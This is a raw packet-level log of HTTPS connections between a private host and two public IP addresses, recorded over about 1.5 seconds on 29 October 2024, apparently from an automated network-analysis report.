Oct 29, 2024 17:59:22.058804035 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.058804035 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.181092024 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.181112051 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.270131111 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.270556927 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.270576000 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.271673918 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.272039890 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.272202015 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.272202015 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.272216082 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.272286892 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.320417881 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.320426941 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.321594954 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.321821928 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.321846962 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.322849035 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.323203087 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.323203087 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.323271036 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.323664904 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.332410097 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.333045959 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.333074093 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.337400913 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.337410927 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.363181114 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.363677979 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.363730907 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.365725040 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.365746021 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.367301941 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.367301941 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.367336035 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.368038893 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.368438005 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.368459940 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.370369911 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.370377064 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.397053003 CET	443	49787	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.397541046 CET	49787	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.397579908 CET	443	49787	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.398181915 CET	49787	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.398192883 CET	443	49787	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.414077044 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.462207079 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.462378025 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.465476036 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.465476036 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.466000080 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.466016054 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.468812943 CET	49790	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.468846083 CET	443	49790	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.468992949 CET	49790	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.469141006 CET	49790	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.469166994 CET	443	49790	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.496416092 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.496655941 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.497162104 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.497162104 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.497312069 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.497334003 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.503145933 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.503483057 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.503957033 CET	49791	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.503998041 CET	443	49791	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.504007101 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.504007101 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.504034996 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.504048109 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.504087925 CET	49791	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.504288912 CET	49791	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.504302979 CET	443	49791	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.507352114 CET	49792	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.507369995 CET	443	49792	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.507530928 CET	49792	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.508126974 CET	49792	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.508137941 CET	443	49792	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.515754938 CET	443	49786	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.516145945 CET	49786	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.516154051 CET	443	49786	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.517143965 CET	443	49786	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.517220020 CET	49786	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.517703056 CET	49786	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.517760038 CET	443	49786	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.528563976 CET	443	49787	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.528966904 CET	443	49787	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.529041052 CET	49787	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.529279947 CET	49787	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.529300928 CET	443	49787	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.529329062 CET	49787	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.529335976 CET	443	49787	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.532344103 CET	49793	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.532380104 CET	443	49793	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.532470942 CET	49793	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.534729004 CET	49793	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.534748077 CET	443	49793	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.567787886 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.567835093 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.567864895 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.567888021 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.567919970 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.567941904 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.567941904 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.567941904 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.567958117 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.568337917 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.570791960 CET	49786	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.570808887 CET	443	49786	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.576188087 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.576309919 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.579535961 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.601155043 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.616628885 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.617635965 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.617662907 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.617705107 CET	49786	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.621145964 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.621151924 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.633341074 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.633348942 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.649974108 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.649998903 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.680298090 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.683877945 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.684653044 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.684917927 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.684930086 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.687978029 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.688565016 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.688574076 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.692291975 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.692509890 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.692518950 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.695807934 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.701247931 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.708182096 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.708215952 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.722389936 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.722455025 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.729588032 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.747520924 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.747606993 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.747747898 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:22.761179924 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.761205912 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.803441048 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.803515911 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.803545952 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.804913044 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.804965973 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.804975033 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.809087992 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.809123993 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.809142113 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.818413019 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.818474054 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.818495035 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.856532097 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.856559038 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.856636047 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.856661081 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.856702089 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.917402983 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.921622038 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.921648026 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.921737909 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.921760082 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.921808004 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.925997972 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.926997900 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.927112103 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.927120924 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.935091972 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.935168982 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.935178041 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.973576069 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.973601103 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.973665953 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.973691940 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.973804951 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.037147999 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.038487911 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.038531065 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.038543940 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.038556099 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.038636923 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.042973995 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.051867962 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.051934958 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.051944017 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.087233067 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.087333918 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.087346077 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.091464996 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.091495991 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.091520071 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.091528893 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.091573954 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.107009888 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.107033014 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.107045889 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.107053041 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.154129982 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.155622959 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.155654907 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.155781984 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.155806065 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.155864000 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.159948111 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.169138908 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.169195890 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.169214010 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.169239044 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.169318914 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.186161995 CET	49795	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.186208010 CET	443	49795	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.186263084 CET	49795	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.187997103 CET	49795	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.188020945 CET	443	49795	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.188591003 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.188618898 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.208240032 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.208362103 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.208400965 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.208431005 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.208467960 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.208539009 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.213536024 CET	443	49790	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.214011908 CET	49790	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.214026928 CET	443	49790	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.216564894 CET	49790	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.216571093 CET	443	49790	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.266951084 CET	443	49791	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.267437935 CET	49791	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.267460108 CET	443	49791	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.268109083 CET	443	49792	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.268174887 CET	49791	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.268181086 CET	443	49791	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.268739939 CET	49792	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.268765926 CET	443	49792	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.269318104 CET	49792	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.269331932 CET	443	49792	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.271596909 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.271672964 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.271720886 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.271734953 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.272727966 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.272814035 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.272820950 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.276873112 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.276918888 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.276932955 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.286195040 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.286233902 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.286243916 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.325339079 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.325364113 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.325402021 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.325419903 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.325433016 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.325459957 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.345202923 CET	443	49790	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.345347881 CET	443	49790	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.345402956 CET	49790	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.365492105 CET	49790	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.365516901 CET	443	49790	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.367381096 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.367398024 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.370142937 CET	49796	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.370172024 CET	443	49796	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.370233059 CET	49796	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.370867968 CET	49796	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.370878935 CET	443	49796	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.388634920 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.388685942 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.388696909 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.389640093 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.389677048 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.389683962 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.393838882 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.393904924 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.393912077 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.397516966 CET	443	49791	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.397578001 CET	443	49791	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.397630930 CET	49791	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.397742987 CET	49791	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.397763968 CET	443	49791	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.397774935 CET	49791	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.397780895 CET	443	49791	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.400693893 CET	49797	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.400715113 CET	443	49797	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.400775909 CET	49797	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.400928020 CET	49797	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.400938034 CET	443	49797	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.401854992 CET	443	49792	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.401915073 CET	443	49792	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.401961088 CET	49792	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.402077913 CET	49792	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.402091026 CET	443	49792	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.402101040 CET	49792	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.402106047 CET	443	49792	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.404069901 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.404120922 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.404133081 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.405014992 CET	49798	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.405030012 CET	443	49798	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.405086040 CET	49798	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.405209064 CET	49798	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.405219078 CET	443	49798	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.406430006 CET	443	49793	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.406838894 CET	49793	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.406883955 CET	443	49793	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.407457113 CET	49793	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.407465935 CET	443	49793	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.443065882 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.443093061 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.443129063 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.443149090 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.443152905 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.443186045 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.443198919 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.443274975 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.483747005 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.505882025 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.505912066 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.505935907 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.505954027 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.506025076 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.506521940 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.506685019 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.506746054 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.506748915 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.506823063 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.507366896 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:23.507379055 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:23.539927959 CET	443	49793	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.539980888 CET	443	49793	13.107.246.45	192.168.2.6
